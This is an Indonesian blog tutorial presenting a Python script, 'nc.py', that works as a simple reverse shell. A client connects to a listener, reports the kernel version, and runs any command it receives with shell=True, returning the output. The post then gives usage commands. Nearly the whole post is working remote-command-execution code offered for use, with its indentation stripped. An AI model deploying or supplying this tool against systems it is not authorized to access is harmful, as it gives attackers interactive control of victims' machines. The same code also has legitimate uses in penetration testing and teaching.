disini mimin menggunakan python3
import socket
import sys
import subprocess
# proses pengiriman command ke client
def send_command(con):
client_response = con.recv(2048)
string_temp = client_response.decode("utf-8")
print(string_temp)
while True:
cmd = input("$")
con.send(str.encode(cmd))
client_response = con.recv(2048)
string_temp = client_response.decode("utf-8")
print(string_temp)
if cmd == "exit":
con.close()
sys.exit()
#server listen
def server_listen(temp):
ip = temp[0]
port = int(temp[1])
print(ip, port)
serv_add = (ip,port)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((serv_add))
s.listen(5)
con,addr = s.accept()
send_command(con)
con.close()
#proses client connect ke server
def client_connect(temp):
ip = temp[0]
port = int(temp[1])
con = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
con.connect((ip, port))
except:
print("Server not found")
sys.exit()
connect_server(con)
#success connect server
def connect_server(con):
kernel_version = "Kernel \t: " + information_gather("uname -a")
con.send(kernel_version.encode())
while True:
res = con.recv(2048)
if res.decode("utf-8") == "exit":
con.close()
sys.exit()
else:
cmd = subprocess.Popen(res.decode("utf-8"), shell=True, stdout=subprocess.PIPE, stdin=subprocess.PIPE)
output_ = cmd.stdout.read()
if output_ == b'':
output_ = b'success'
con.send(output_)
con.close()
#fungsi untuk mengambil informasi pada client
def information_gather(cmd):
cmd = subprocess.Popen(cmd, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE)
output = cmd.stdout.read().decode()
return output
#help yang dapat digunaka saat terjadi error
def help():
print("Option")
print("-l \t\t listen")
print("python3 nc.py [IP]:[PORT] option")
def main():
temp = []
try:
temp = sys.argv[1].split(":")
if not temp[1].isnumeric():
sys.exit()
except:
help()
sys.exit()
if len(sys.argv) == 2:
client_connect(temp)
elif len(sys.argv) == 3 and sys.argv[2] == '-l':
server_listen(temp)
else:
help()
sys.exit()
if __name__ == '__main__':
main()
untuk menjalankan server dapat menjalankan dengan perintah:
$python3 nc.py <HOST>:<PORT> -l
dan untuk menjalankan client dapat menjalankan dengan perintah:
$python3 nc.py <HOST>:<PORT>
maka hasil seperti contoh berikut ini:
dapat juga source code diakses di di github https://github.com/N3-Z/
Sekian tutorial dari saya jika ada pertanyaan dapat berkomentar dibawah ini
selamat mencoba /('-')/\('-')\ admin@zee
No comments:
Post a Comment